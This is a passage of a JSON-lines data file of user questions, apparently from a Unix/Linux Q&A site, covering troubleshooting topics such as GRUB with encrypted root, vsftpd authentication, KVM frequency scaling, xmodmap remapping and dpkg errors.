course `unzip` worked, solving my problem, but why can't `tar` extract zip files? Perhaps I should instead be asking, what is the difference between zip and the compression methods supported by `tar`?"} {"_id": "42587", "title": "Grub2 unable to boot encrypted root", "text": "I'm using ArchLinux, I followed their tutorial on encrypting your root filesystem: https://wiki.archlinux.org/index.php/Using_DM-Crypt But I cannot get grub to boot the encrypted partition. My grub file looks like this: root (hd0,2) kernel /vmlinuz-linux cryptdevice=/dev/sda4:root root=/dev/mapper/root ro initramfs /intiramfs-linux.img I've tried editing this to everything I could think of, and everything I could find online, but nothing will boot. It always gives me this error: ERROR: device '/dev/mapper/root' not found. Skipping fsck. ERROR: unable to find root device '/dev/mapper/root'. Any help would be greatly appreciated."} {"_id": "42585", "title": "Migrating a Virtualbox virtual machine into a physical dual-boot system", "text": "I'm running a Linux Mint 12 virtual machine in Virtualbox. I would like to move it into a dual-boot setup with my Windows 7 installation. I have lot of settings in there, and apps installed, and my research says that I cannot just copy files. I guess I could accomplish this by having some kind of list that I could then import for apt-get to install, and then have a back-up of my ~/ files... Am I on the right track, or totally lost?"} {"_id": "99201", "title": "How do I find the full history of a file?", "text": "I need to know the full history of a file, like if someone changed or moved it to some other places since the time when it is created."} {"_id": "153399", "title": "Installing Xmgrace on Mac problem", "text": "Hi I'm totally new to UNIX, I use my console for 2 months only and only know the very basic commands... I have worked on a machine previously and have been using the xmgrace command to make some figures. Now I do not have physical access to this machine and have to ssh to it from mine. This takes a long time and modifying xmgrace figures through ssh is really really slow. I'm trying to install xmgrace on my MacBook Pro to be able to do it on my laptop and then transfer the file through ssh... Problem is, I do not understand anything on how install xmgrace. So I've tried what they tell here : http://www.phy.ohiou.edu/~hadizade/MRHadizadeh/Blog/Entries/2013/8/5_Installing_XmGrace_%28Grace%29_on_Mac_OS_X.html. I have installed motif libraries and then copied exactly this : cd Desktop curl -O ftp://ftp.fu-berlin.de/unix/graphics/grace/src/grace5/grace-latest.tar.gz tar xzvf grace-latest.tar.gz cd grace-5.1.24 ./configure --x-includes=/usr/X11/include --x-libraries=/usr/X11/lib \\--with-motif-library=-lXm --with-extra-incpath=/usr/OpenMotif/include:/Users/sm4082/fftw-2.1.5/include \\--with-extra-ldpath=/usr/OpenMotif/lib:/Users/sm4082/fftw-2.1.5/lib make sudo make install echo \"export PATH=$PATH:/usr/local/grace/bin\" >> ~/.bashrc source ~/.bashrc xmgrace Problem is, at line ./configure*...* I get an error : checking for a Motif >= 1002 compatible API... no configure: error: M*tif has not been found (Actually I get a ton of others messages but these are the last two lines) I have no idea on what I should do to get xmgrace... Could anyone help on this ?"} {"_id": "99204", "title": "Local mail delivery not working", "text": "We are using RHEL 6.1 server. We need to send a mail from server to local domain (tcs.com). we are using mail command for this purpose. [bsoauser@hsluabsoa ~]$ echo \"hi\" | mail -s \"test\" abc.d@tcs.com [bsoauser@hsluabsoa ~]$ command is working but we are not getting mails.In /var/log/maillog we found the following error: Nov 7 15:58:05 hsluabsoa postfix/local[13579]: 02A86FAB: to=, relay=local, delay=0.51, delays=0.1/0.35/0/0.06, dsn=5.1.1, status=bounced (unknown user: \"abc.d\")"} {"_id": "64296", "title": "(KDE or X ) Script opens konsole in wrong virtual desktop", "text": "I have this script. I put it in ~/Desktop. I view the script on my desktop in a \"Folder View\" widget. When I click on the script, I get list of users, then I get an authorization dialog box ( for a password ), then I get a \"konsole\" which I would like to appear in the same virtual desktop. Unfortunately it appears in a random virtual desktop. Because I do not know how much of the \"protocol\" of VDs is X and how much is KDE's, I do not know where the problem lays. What causes this behavior? How can I fix this behavior, so it appears in the active VD? I tried asking this question on the freenode IRC channel #linux where a person nicked Psi_Jack gaver me a lot of grief over the script, ,ostly because I called ruby from bash. Here are the facts, I wanted to only access \"real\" users eg \"mom\",\"pop\",\"sis\",\"mouse\" and not \"saned\",\"mysqld\",\"fethmail\" etc. So I had to test user ids. While not very hard in bash it is messier then I like. In those cases I use ruby, because -- well part of ruby's raison d'etre is to cleanup some of the mess of perl, and part of perls raison d'etre is to clean up the mess of the various scripting shells. The thing is I know the ruby is correct, and AFAICS there is no real problem with the script except in the line \"/usr/lib/kde4/libexec/kdesu -u $KA_USER konsole\". So please lay off the script. #!/usr/bin/env sh # kstart --desktop [#] [command] # Assign to dlg the specified user. dlg=$(ruby < 1000 and fields[2].to_i<60000) then command = command+\" #{fields[0]}\" end } puts command EOF ) # Execute zenity dialog, assign choice to KA_USER KA_USER=$($dlg) if [ -n \"$KA_USER\" ] then t=$(mktemp --suffix=log /tmp/sukon-XXXX) /usr/lib/kde4/libexec/kdesu -u $KA_USER konsole fi"} {"_id": "64297", "title": "Host CPU does not scale frequency when KVM guest needs it", "text": "I have asked this question on serverfault, but it could also have been posted here. I will synchronise the answers if one is found. **Observation:** I have an HP server with an AMD dual core CPU (Turion II Neo N40L) which can scale frequencies from 800 to 1500 MHz. The frequency scaling works under FreeBSD 9 and under Ubuntu 12.04 with the Linux kernel 3.5. However, when I put FreeBSD 9 in a KVM environment on top of Ubuntu the frequency scaling does not work. The guest (thus FreeBSD) does not detect the minimum and maximum frequencies and thus does not scale anything when CPU occupation gets higher. On the host (thus Ubuntu) the KVM process uses between 80 and 140 % of the CPU resource but no frequency scaling happens, the frequency stays at 800 MHz, although when I run any other process on the same Ubuntu box, the ondemand governor quickly scales the frequency to 1500 MHz! **Concern and question:** I don't understand how the CPU is perhaps virtualised, and if it is up to the guest to perform the proper scaling. Does it require some CPU features to be exposed to the guest for this to work? **Apendix:** The following Red Hat release note tends to suggest that frequency scaling out to work even in a virtualised environment (see chapter 6.2.2 and 6.2.3), thought the note fails to address which virtualisation technology this work with (kvm, xen, etc.?) For information, the `cpufreq-info` output on Ubuntu is: $ cpufreq-info cpufrequtils 007: cpufreq-info (C) Dominik Brodowski 2004-2009 Report errors and bugs to cpufreq@vger.kernel.org, please. analyzing CPU 0: driver: powernow-k8 CPUs which run at the same hardware frequency: 0 CPUs which need to have their frequency coordinated by software: 0 maximum transition latency: 8.0 us. hardware limits: 800 MHz - 1.50 GHz available frequency steps: 1.50 GHz, 1.30 GHz, 1000 MHz, 800 MHz available cpufreq governors: conservative, ondemand, userspace, powersave, performance current policy: frequency should be within 800 MHz and 1.50 GHz. The governor \"ondemand\" may decide which speed to use within this range. current CPU frequency is 800 MHz. cpufreq stats: 1.50 GHz:14.79%, 1.30 GHz:1.07%, 1000 MHz:0.71%, 800 MHz:83.43% (277433) analyzing CPU 1: driver: powernow-k8 CPUs which run at the same hardware frequency: 1 CPUs which need to have their frequency coordinated by software: 1 maximum transition latency: 8.0 us. hardware limits: 800 MHz - 1.50 GHz available frequency steps: 1.50 GHz, 1.30 GHz, 1000 MHz, 800 MHz available cpufreq governors: conservative, ondemand, userspace, powersave, performance current policy: frequency should be within 800 MHz and 1.50 GHz. The governor \"ondemand\" may decide which speed to use within this range. current CPU frequency is 800 MHz. cpufreq stats: 1.50 GHz:14.56%, 1.30 GHz:1.06%, 1000 MHz:0.79%, 800 MHz:83.59% (384089) The reason I want this feature to work is: save energy, run quieter (less hot) and also simple curiosity to understand better why this is not working and how to make it work."} {"_id": "64294", "title": "The NTFS partition is in an unsafe state", "text": "I try to mount a NTFS partition in nautilus, and it refuse to mount it and suggests `resume and shutdown Windows fully (no hibernation or fast restarting)`, the problem is that I have already disabled fast restart and there is no options to hibernate in Windows 8."} {"_id": "153390", "title": "Why does every user have his own group?", "text": "One thing I've noticed in a lot of recent distros is that users all have their own groups with the same name as their user name. What's the purpose of that? Groups are made to group users together in some ways, such as _users_ , _management_ , _IT_ , etc. Seems pointless to have all these single-user groups. I seem to recall Unix systems before did have everyone's default group be _users_."} {"_id": "153393", "title": "Why is the output of this paste command split on separate lines with indents?", "text": "I was trying to merge files using either of these commands: paste data_{1..2}.txt > 1_2.txt paste <(awk '{print $1}' data_2.txt ) <(awk '{print $1}' data_2.txt) > 1_2.txt But the columns in the output _don't line up_. I tried to clean tabs and spaces but I still get the same result. Here is my sample data below for _data_1.txt_ : TMAX 34.2481 19.1582 -0.903817 -0.408851 -0.849964 0.596377 0.922126 -5.13179 -17.4449 -15.1031 -12.5849 -12.2548 ...and for _data_2.txt_ : TMAX 33.629 18.5924 -1.37411 -1.00714 -1.48201 0.0046866 0.295162 -5.69127 -18.0672 -15.7163 -13.1048 -12.8443 -11.9689 The combined _output_ : TMAX TMAX 34.2481 33.629 19.1582 18.5924 -0.903817 -1.37411 -0.408851 -1.00714 -0.849964 -1.48201 0.596377 0.0046866 0.922126 0.295162 -5.13179 -5.69127 -17.4449 -18.0672 -15.1031 -15.7163 What is expected of course is for the columns to line up like so: TMAX TMAX 34.2481 33.629 19.1582 18.5924 -0.903817 -1.37411 -0.408851 -1.00714 -0.849964 -1.48201 0.596377 0.0046866 0.922126 0.295162 -5.13179 -5.69127 -17.4449 -18.0672 -15.1031 -15.7163 -12.5849 -13.1048 -12.2548 -12.8443 -11.371 -11.9689 Why am I getting the distorted output with lines split and indentation?"} {"_id": "153392", "title": "\"E: Sub-process /usr/bin/dpkg returned an error code (1)\" when I try and install OpenVPN. What is this?", "text": "Whenever I try and install OpenVPN on My Debian x86 Minimal VPS I get that error. Here is the full code if that helps: root@fadvps:/# sudo apt-get install openvpn Reading package lists... Done Building dependency tree Reading state information... Done openvpn is already the newest version. The following packages were automatically installed and are no longer required: gconf-service gconf2 gconf2-common libasound2-dev libavahi-client-dev libavahi-common-dev libcaca-dev libdbus-1-dev libdbus-glib-1-2 libdirectfb-extra libelfg0 libevent-2.0-5 libgconf-2-4 libgd2-xpm libglib2.0-bin libglib2.0-dev libicu48 libjbig-dev libjpeg8-dev libnatpmp1 libpcre3-dev libpcrecpp0 libpng12-dev libpthread-stubs0 libpthread-stubs0-dev libpulse-dev libpulse-mainloop-glib0 libslang2-dev libtiff4-dev libtiffxx0c2 libts-dev libva-egl1 libva-glx1 libva-tpi1 libva-x11-1 libvdpau1 libwebp-dev libx11-doc libxau-dev libxcb1-dev libxdmcp-dev postgresql-common ssl-cert transmission-common transmission-gtk x11proto-core-dev x11proto-fixes-dev x11proto-input-dev x11proto-kb-dev x11proto-xext-dev xorg-sgml-doctools xtrans-dev Use 'apt-get autoremove' to remove them. 0 upgraded, 0 newly installed, 0 to remove and 368 not upgraded. 1 not fully installed or removed. After this operation, 0 B of additional disk space will be used. Do you want to continue [Y/n]? Y perl: warning: Setting locale failed. perl: warning: Please check that your locale settings: LANGUAGE = (unset), LC_ALL = (unset), LANG = \"en_US.UTF-8\" are supported and installed on your system. perl: warning: Falling back to the standard locale (\"C\"). locale: Cannot set LC_CTYPE to default locale: No such file or directory locale: Cannot set LC_MESSAGES to default locale: No such file or directory locale: Cannot set LC_ALL to default locale: No such file or directory Setting up fuse (2.9.3-15) ... Creating fuse device... /run/udev or .udevdb or .udev presence implies active udev. Aborting MAKEDEV invocation. chmod: cannot access `/dev/fuse': No such file or directory dpkg: error processing fuse (--configure): subprocess installed post-installation script returned error exit status 1 Errors were encountered while processing: fuse E: Sub-process /usr/bin/dpkg returned an error code (1) What's causing these errors?"} {"_id": "7864", "title": "Keymapping problem when working with Emacs and Openbox", "text": "I have an Apple keyboard and I had to do some remapping of the keys to make the `mod-4` key the first key to the left of the `Space` bar for when working with Emacs. The below script worked fine when I was using the dwm window manager, but after switching to Openbox I have found that instead of swapping keycodes between the option and command keys, both of the keys are doing the same thing. One odd thing I noticed, was on the new setup when I click run `showkey` and press the option and command keys I get 56 and 125 respectively, but these keys don't work at all when inserting them into the below script instead of the 64 and 133. I must admit I created the script below by continually tweaking it until it worked so there could be a much better way of doing it. ### .xmodmap # switch alt and command...the switch is not being done properly xmodmap -e \"keycode 64 = Alt_L\" xmodmap -e \"keycode 133 = Meta_L\" # remap of mod 4 xmodmap -e \"clear Mod4\" xmodmap -e \"add Mod4 = Super_L\" # Update I got used to the previous keyboard setup and gave up trying to tweak it. Unfortunately, after a recent restart the `CapsLock` to `Ctrl` no longer worked so here I am again. This time instead of the mapping used above I ran `xmodmap -pke > ~/.xmod` and tweaked the keys there instead (which is much easier). However, things are still not quite right. The `CapsLock` still functions as normal except when the `xev` command is run, then it returns the following which does seem to show the correct mapping: # caplock KeyRelease event, serial 40, synthetic NO, window 0x2200001, root 0x156, subw 0x0, time 4858000, (57,-31), root:(426,402), state 0x2, keycode 66 (keysym 0xffe3, Control_L), same_screen YES, XKeysymToKeycode returns keycode: 37 XLookupString gives 0 bytes: XFilterEvent returns: False # ctrl-L KeyRelease event, serial 40, synthetic NO, window 0x2200001, root 0x156, subw 0x0, time 4805947, (686,148), root:(1055,581), state 0x4, keycode 37 (keysym 0xffe3, Control_L), same_screen YES, XLookupString gives 0 bytes: XFilterEvent returns: False # Alt-L KeyPress event, serial 40, synthetic NO, window 0x2200001, root 0x156, subw 0x0, time 4555825, (-158,-649), root:(959,133), state 0x0, keycode 64 (keysym 0xffeb, Super_L), same_screen YES, XLookupString gives 0 bytes: XmbLookupString gives 0 bytes: XFilterEvent returns: False # Super-L KeyRelease event, serial 40, synthetic NO, window 0x2200001, root 0x156, subw 0x0, time 4920564, (-63,169), root:(306,602), state 0x40, keycode 133 (keysym 0xffe9, Alt_L), same_screen YES, XLookupString gives 0 bytes: XFilterEvent returns: False"} {"_id": "83003", "title": "\"vmware-installer: command not found\" when trying to uninstall VMware Player", "text": "I am using fedora 16` and I need to uninstall VMware Player and VMware Workstation. I tried this: [root@Feddy non-admin]# vmware-installer --uninstall-product vmware-player bash: vmware-installer: command not found... but the result says , `command not found`. In this case how do I uninstall VMware?"} {"_id": "42634", "title": "How to set library searching path using environment variable in compile-time", "text": "-I option set header file searching path for **gcc/g++** , and CPLUS_INCLUDE_PATH/CPATH append the searching path list. Then what about libs? It seems that **LD_LIBRARY_PATH** is just a path list for **run-time** library searching. -L option is necessary to specify any lib path other than /usr/lib and /usr/local/lib. Is there an environment variable similar to CPATH/CPLUS_INCLUDE_PATH, to do the **compile-time** job?"} {"_id": "42636", "title": "How to get text of a page using wget without html?", "text": "If I try wget on a webpage, I am getting the page as html. Is it possible to retrieve only text of a file without associated html ? (This is required for me since some of the HTML pages contains c program is getting downloaded with html tags. I have to open it in browser and manually copy the text to make a .c file.)"} {"_id": "151666", "title": "How do I preserve coloured output when piping to `less -R`?", "text": "$ ffmpeg -v debug ... Coloured output. $ ffmpeg -v debug ... |& less -R Dull output. How do I make the output coloured while piping it to something?"} {"_id": "42639", "title": "svn checkout shows only one file", "text": "anisha@linux-y3pi:~/Desktop/mysvn> svn list https://earthhtml.googlecode.com/svn/ branches/ manual.cpp ogmap.html svn-book.pdf tags/ trunk/ wiki/ But, this downloads only one file: anisha@linux-y3pi:~/Desktop/mysvn> svn checkout https://earthhtml.googlecode.com/svn/trunk Checked out revision 3. anisha@linux-y3pi:~/Desktop/mysvn> ls manual.cpp manual.cpp~ ogmap.html svn-book.pdf trunk anisha@linux-y3pi:~/Desktop/mysvn> cd trunk/ anisha@linux-y3pi:~/Desktop/mysvn/trunk> ls ogmap.html Why is that so? http://code.google.com/p/earthhtml/source/browse/#svn%2Ftrunk"} {"_id": "101963", "title": "What is the difference between DISPLAY :0 and :0.0?", "text": "What is the difference between DISPLAY :0 and :0.0? On RedHat 5.8, I can right click the desktop to start a shell and DISPLAY will be \":0\". If I go to the Menu-System-Terminal to start a shell then DISPLAY will be \":0.0\". Can I always assume that these are really the same display? For example, if I VNC in to a machine on DISPLAY 33, can I assume that \":33.0\" and \":33\" are the same display with the same permissions?"} {"_id": "16814", "title": "How to mount a USB drive", "text": "I have a USB drive that used to mount with another computer, but won't appear when it should with another. I'm running Ubuntu 11.04 and the drive should appear under \"Places\". Here's the output of **`dmesg`** : 1:00.0: no space while unhiding cursor [293385.423359] [drm] nouveau 0000:01:00.0: no space while unhiding cursor ... [293445.824471] exe (29828): /proc/29828/oom_adj is deprecated, please use /proc/29828/oom_score_adj instead. [299465.937891] [drm] nouveau 0000:01:00.0: no space while unhiding cursor Update: new lines added are Aug 14 17:47:23 ubuntu kernel: [ 128.502091] usblp0: USB Bidirectional printer dev 2 if 0 alt 1 proto 2 vid 0x03F0 pid 0x1004 Aug 14 17:47:23 ubuntu kernel: [ 128.502416] usbcore: registered new interface driver usblp Aug 14 17:47:25 ubuntu kernel: [ 130.703847] HDA Intel 0000:00:1b.0: PCI INT A -> GSI 16 (level, low) -> IRQ 16 Aug 14 17:47:25 ubuntu kernel: [ 130.703909] HDA Intel 0000:00:1b.0: irq 44 for MSI/MSI-X Aug 14 17:47:25 ubuntu kernel: [ 130.703935] HDA Intel 0000:00:1b.0: setting latency timer to 64 Aug 14 17:47:30 ubuntu kernel: [ 135.755667] lp0: using parport0 (interrupt-driven). Aug 14 17:47:32 ubuntu kernel: [ 137.450048] eth0: no IPv6 routers present Aug 14 17:47:35 ubuntu kernel: [ 140.788119] usb 7-1: usbfs: interface 0 claimed by usblp while 'usb' sets config #1"} {"_id": "43148", "title": "UNIX commands help - find", "text": "I'm trying to learn UNIX commands and I'm playing this game to learn and I'm really stuck at the moment. I'm in a server through ssh and the directory is full of random files and folders and the password for the next level is inside one of the files. I have been told that the file has the following attrbutes: * human-readable * 1033 bytes * non-executable I am guessing that I should use the `find` command and I tried `find ! -executable` but that returned a load of files. The only human-readable help I can find in the manual or online is printing out the file sizes in human readable. So I'm a bit lost there? Also I did try `find ~ -size 1033b` but that returned nothing. But when I tried `find ~ -size -1033b` it returned every file in the directory."} {"_id": "12120", "title": "No response on a Linux machine", "text": "I am using centOS, sometimes the system just does not respond at all. In windows box, I can ctrl-alt-delete. On a Linux machine, how should I handle this?"} {"_id": "12125", "title": "What a good text editor with RTL (right-to-left) support?", "text": "gvim doesn't seem to support it out of the box on my Ubuntu lucid."} {"_id": "86041", "title": "Linux Mint Wifi", "text": "I'm running Linux Mint 15 Xfce on a Compaq Presario desktop from 2009. I can't seem to get the wifi working. Rather than ask a general question, here's a simple question: If $ iwlist wlan0 scanning returns all the wireless networks available, that means that my wifi card is working? So, if that's true, then the problem is that I'm just not setting it up properly, isn't that so? I've tried to configure it using the tools that Mint provides -> Failure. I've tried to configure it the same way I configured my Slackware laptop -> Failure. ( My Slackware config parameters fail on Mint, even though it's the same network) Looking over 2 or 3 unanswered questions on this site, I can see that others have had similar problems. So, is it a mistake to try to set up a wireless connection on Mint by configuring files, rather than use their GUI wireless system (which seems not to work properly)? Does anyone know whether the Mint developers have set it up so that the usual Linux/Unix way of doing things is disabled (to make things easier for the user, no doubt)."} {"_id": "57986", "title": "Pulseaudio rapidly switches ouputs at high volumes", "text": "I'm using Pulseaudio. The image is of the Output Devices tab and shows the Port set to Analog Output. This is fine and works great. There's another option called Headphones but if you try and set the Port to Headphones it automatically switches back to Analog Output. This is also fine because I don't want to use that port The problem is that if the volume increases over 87% it automatically switches to Headphones port, which in turns auto switches back to Analog and back and forth quickly and forever making lots of clicking noises. Perhaps related to that \"Base\" marker on the volume control? No idea here, very strange behavior. ![enter image description here](http://i.stack.imgur.com/2LJHv.png)"} {"_id": "10414", "title": "How many bits is the access flags of a file?", "text": "How many bits on a linux file system is taken up for the permissions of a file?"} {"_id": "53602", "title": "How to make tcsh not insert whitespace in a command that spans multiple lines", "text": "Bash does not seem to insert whitespace but tcsh does. **Tcsh** bash-3.2.25$ tcsh -c 'echo $tcsh; echo A\\ > B' 6.14.00 A B **Bash** bash-3.2.25$ bash -c 'echo A\\ > B' AB How can I ask tcsh to not insert a space between A and B?"} {"_id": "57982", "title": "Creating Emacs TAGS file", "text": "I am working through the \"Emacs Lisp Intro\" book within Emacs 23.4.1 on Debian Wheezy (CrunchBang Waldorf). Section 4.1 discusses the `find-tags` command and the `TAGS` file. Instructions are included to build/install the `TAGS` file if necessary. How do I do this in Debian? The folders mentioned are not present on my system and I cannot locate a `TAGS` file. I'm not sure that I have the source of Emacs installed? I installed it using `apt-get`. My `sources.list` file does not include any `deb-src` lines, if that is relevant."} {"_id": "10410", "title": "Is there an equivalent to whitespace-mode in emacs for vim?", "text": "Is there a way I can see spaces and tabs wonderfully visualized in vim, like I can in emacs by toggling whitespace-mode?"} {"_id": "90006", "title": "How do I reduce the size of locale-archive?", "text": "I have a need to reduce the size of the `locale-archive` file on some of my RHEL6 systems. Here is that file on my system: [root@-dev-007 locale]# ls -l total 96800 -rw-r--r--. 1 root root 99158704 Sep 9 15:22 locale-archive -rw-r--r--. 1 root root 0 Jun 20 2012 locale-archive.tmpl So I did this ... [root@-dev-007 locale]# localedef --list | grep zh_CN zh_CN zh_CN.gb18030 zh_CN.gb2312 zh_CN.gbk zh_CN.utf8 ... so I figured I could get rid of `zh_CN` like so ... [root@-dev-007 locale]# localedef --delete-from-archive zh_CN ... and I can see `zh_CN` does not get listed anymore like so ... [root@-dev-007 locale]# localedef --list | grep zh_CN zh_CN.gb18030 zh_CN.gb2312 zh_CN.gbk zh_CN.utf8 ... but the size of the `locale-archive` does not get smaller ... [root@-dev-007 locale]# ls -l total 96800 -rw-r--r--. 1 root root 99158704 Sep 9 17:16 locale-archive -rw-r--r--. 1 root root 0 Jun 20 2012 locale-archive.tmpl ... is there something else I need to do?"} {"_id": "57989", "title": "How can I remotely access linux servers", "text": "I have a couple of servers that I need to remotely monitor. Is there anyway that I can do that? Should I use `vncviewer`, `ssh`, or what?"} {"_id": "68531", "title": "Return value of current watt consumption on command line", "text": "Is there a way to return the current watt consumption on the command line? I have found about the powertop program, but have not seen a way to return the Watt consumption as a value to the command line. I'm thinking of some file that I can `cat` or `grep`. Using Arch Linux."} {"_id": "37539", "title": "vsftpd fails pam authentication", "text": "Moving a tried-and-true vsftpd configuration onto a new server with Fedora 16, I ran into a problem. All seems to go as it should, but user authentication fails. I cannot find any entry in any log that indicates what happened. Here is the full config file: anonymous_enable=NO local_enable=YES write_enable=YES local_umask=022 dirmessage_enable=YES xferlog_enable=YES connect_from_port_20=YES xferlog_file=/var/log/vsftpd.log xferlog_std_format=YES idle_session_timeout=0 data_connection_timeout=0 nopriv_user=ftpsecure connect_from_port_20=YES listen=YES chroot_local_user=YES chroot_list_enable=NO ls_recurse_enable=YES listen_ipv6=NO pam_service_name=vsftpd userlist_enable=YES tcp_wrappers=YES FTP challenges me for a username and password, I provide them, Login Incorrect. I have verified, this user is able to login from ssh. Something is screwed up with `pam_service`. Anonymous (if changed to allowed) seems to work well. SELinux is disabled. Ftpsecure appears to be configured fine... I am at a complete loss! Here are the log files I examined with no success: /var/log/messages /var/log/xferlog #empty /var/log/vsftpd.log #empty /var/log/secure Found something in `/var/log/audit/audit.log`: `type=USER_AUTH msg=audit(1335632253.332:18486): user pid=19528 uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct=\"kate\" exe=\"/usr/sbin/vsftpd\" hostname=ip68-5-219-23.oc.oc.cox.net addr=68.5.219.23 terminal=ftp res=failed'` Perhaps I should look at `/var/log/wtf-is-wrong.help` :-) Further info: /etc/pam.d/vsftpd looks like this: #%PAM-1.0 session optional pam_keyinit.so force revoke auth required pam_listfile.so item=user sense=deny file=/etc/vsftpd/ftpusers onerr=succeed auth required pam_shells.so auth include password-auth account include password-auth session required pam_loginuid.so session include password-auth"} {"_id": "9328", "title": "How can I logout from a graphical environment from the command line?", "text": "Part of the beauty of trying out alpha releases of operating systems is that things _will_ break, including things we take for granted. Today it's the turn of the logout button. So, how do you log out from the desktop environment _du jour_ from the command line?"} {"_id": "63113", "title": "Controlling ppp's chat buffering", "text": "I looked at the ppp chat source and it uses `putchar` to write to the device. When PPP is run over a line discipline like `n_gsm`, which multiplexes a tty via the GSM 07.10 protocol, a lot of extra data is created on the link. Can I use `stty` or some other feature to glob data together? For example, if the chat script has _AT\\n_ , the following may be sent to the serial port (with `n_gsm`), f9 07 ef 03 41 d4 f9 ....A.. f9 07 ef 03 54 d4 f9 ....T.. f9 07 ef 03 0d d4 f9 ....... The extra characters are the `n_gsm` framing to a particular virtual serial port. I would prefer, f9 07 ef 07 41 54 0d xx f9 ....AT... Reducing the traffic from 21 characters to 9 (and I haven't included acknowledgements). The AT GPRS question has some information related to this question. What I am asking could also be achieve by altering ppp's `chat` to use `strchr('\\')` and using `write()` instead of `putchar`. I am hoping there is some `stty` command turn on a Nagle like algorithm for a TTY. **07.10 standard** **n_gsm docs**"} {"_id": "121141", "title": "pfsense: No more processes", "text": "Sometimes my pfsense (1.2.3-RELEASE) goes crazy: * every nat rules go down * the web interface reply me with many errors (Warning: shell_exec(): Unable to execute...) * my ssh daemon refuse to open a new session. All other traffic types go good. If I have a ssh session before that the error appear, for every command that i run in that ssh session I receive: _No more processes_ I resolve the situation with an hard reset. The only strange thing that i have notice, is some illegal attempts on my ssh port. But it seems that no one has gained access."} {"_id": "63115", "title": "Using a ; or && with $@", "text": "I'm trying to do something with a cron wrapper and my cron looks something like * * * * * root /usr/bin/wrapper cd /tmp/ && ls Then wrapper looks like #!/bin/bash \"$@\" When I run it I can't get the semi colon or && to work as I'm hoping. [root@domain.net ~/test]# pwd /root/test [root@domain.net ~/test]# ls test.sh [root@domain.net ~/test]# ./test.sh cd /tmp && ls test.sh So in that case it goes into tmp then the weapper script exits.. and it runs ls in my cwd. If I add '' around the command I get [root@domain.net ~/test]# ./test.sh 'cd /tmp && ls' ./test.sh: line 3: cd /tmp && ls: No such file or directory I'm guessing with the \"$@\" it is trying to add in the single quote to the command being run I support I can strip out the single quotes before the \"$@\" but I was hoping not to do that.. any tips or is this even solvable in bash?"} {"_id": "63116", "title": "Create Null Modem Pair linux", "text": "I am looking to create virtual serial ports on Debian 6 squeeze. Basic requirements are: 1. be able to connect as if port was a real serial port( IE be able to set baud, stop bits etc) 2. com port pairs need to be persistent 3. com port pairs names must be static on reboot. I don't want to change code settings each time computer is rebooted I briefly tried socat today using `socat -d -d pty, raw, echo=1 pty, raw, echo=1` that successfully created `/dev/pts/5` and `/dev/pts/6` as a pair. However soon as I close the terminal running socat the pair is terminated. I am also wondering if tty0tty is an option? I have used com0com in the past with windows with great success. **My question is what is the best way to create a null modem pair so that I can simulate several com ports in Linux?**"} {"_id": "121142", "title": "How can I list all the dependencies necessary to install PHP-Soap?", "text": "I have a server running Centos 5.10 with no internet access that I control remotely on which I'd like to install PHP-Soap. I also have an identical box in the office which is a clone of the remote machine. PHP-Soap is already installed on the local machine. I found that one can use `ldd` to list dependencies of an executable. But to run this you need an executable in the `/bin/` folder So my question is: **_How can I list all dependencies needed to install PHP- Soap?_**"} {"_id": "63118", "title": "Please help clarify for me the role and architecture of Xorg (X server) and interaction with other software", "text": "Sorry, this is going to be a multi-prong question, so please bear with me: I have been a Linux user for years now, but I still struggle to understand how X compares with the software used for display on Windows and Mac systems. I know it is a client/server based software, but what is particularly puzzling for me is how it works with widget toolkits to provide a display and how these interact with each other. I mean, take the Cocoa framework of Mac: You have GnuStep, which is an open source implementation of that framework, but (from what I can guess), it runs on X, right? Yet I suppose that Mac does not use X. Are there any alternative options to Xorg on Linux? Can I run GnuStep, for example, with something else? Are window managers and desktop environments written specifically to work with X or can they work with other display software?"} {"_id": "121149", "title": "Fix held broken packages on debian?", "text": "I want to begin exploring moving myself away from google apps, because it's expensive, and it looks like citadel has all of the groupware functions I need. So I am trying to install citadel-suite with: > apt-get install citadel-suite But it returns: > citadel-suite: depends: citadel-mta but it is not going to be installed > E: Unable to correct problems, you have held broken packages. Well, yes. It does require citadel-mta. That's half the point. So why is it not going to be installed? What broken packages do I have held? Why are they broken? Why are they held? I didn't hold them. Or break them, for that matter. The problem with apt-get is that, for the 10 years I have been using it, it has, to borrow an Apple phrase, just worked. Now that it isn't, I'm rather at a loss. I did try the -f switch, but it didn't help. I haven't made any modifications to /etc/apt/sources.list, so I can't revert them. What should I try next?"} {"_id": "9325", "title": "The cursor to a match, edit, the cursor to the next match, edit -- like in a directory?", "text": "Algorithmic blackout: 1. problem: find the files that match 2. problem: stack/buffer the matches 3. move the cursor to the next file of the stack and thereby to the location of the match 4. repeat step 2 Things I have used earlier to tackle the issue. **Vi/m: (the below works in an ubuntu server, perhaps configured by sysadmin but cannot get it work locally)** :grep -r \"[^|]*|[^|]*|[^|]*|.*\" * :cn :cn :bn **emacs:** `M-x grep Enter` and then to have `grep -r \"[^|]*|[^|]*|[^|]*|.*\" *` but now in mystery. How can you do the fast hierarchial edits? **shellesque:** then I once created a wild one-liner with some grep-xargs- something-things-vi but I am starting to smell reinventing-the-wheel. Sorry about the vim/emacs juxtaposition but I don't care which tool you use, use the most convenient (xargs/emacs/vi/m just examples)."} {"_id": "21729", "title": "Running a bash script from a zsh shell", "text": "I'm having problems running a bash script on `zsh`. The script is similar to the one below and is supposed to run under bash: #!/bin/bash echo \"<235234>\" | egrep -oe [0-9]+ However, my shell is by default on `zsh`, so to run the above script what I do is type `/bin/bash` on my `zsh` prompt, and then I run `. script.sh`. However, this results in an error, and I get: zsh: no matches found: [0-9]+ (I should get `235234` instead). At this point I am confused and have the following questions: 1. If I am in `bash`, why do I get an error reported by `zsh`? 2. Why does the `egrep` regexp fail? The regular expression looks correct to me. Note: In case it matters, I am not supposed to modify the script (the script is shared by multiple users and we are not supposed to make changes to it). Thanks"} {"_id": "8940", "title": "What are the kernel, the \"GNU tools and utilities\", the shell and the Window Manager?", "text": "Among the many components of a Linux system, I find myself confused (as a newbie) about what exactly is the kernel or what is GNU's part. I understand some basic concepts of this, but where is the line between a shell and the Window Manager?"} {"_id": "54950", "title": "Is there any way to attach latrace to an already-running process?", "text": "I want to trace a running multi-threaded process's library calls. As of 5 November 2012, there's only one way to get ltrace to fully support tracing multi-threaded processes: you must check out and compile an ltrace 0.7.0 prerelease. So I've decided to use latrace instead. But, looking at the latrace documentation, I didn't see an option to specify a PID to attach to. Which brings me to my question: Is there any way to attach latrace to an already-running process?"} {"_id": "8945", "title": "How can I increase open files limit for all processes?", 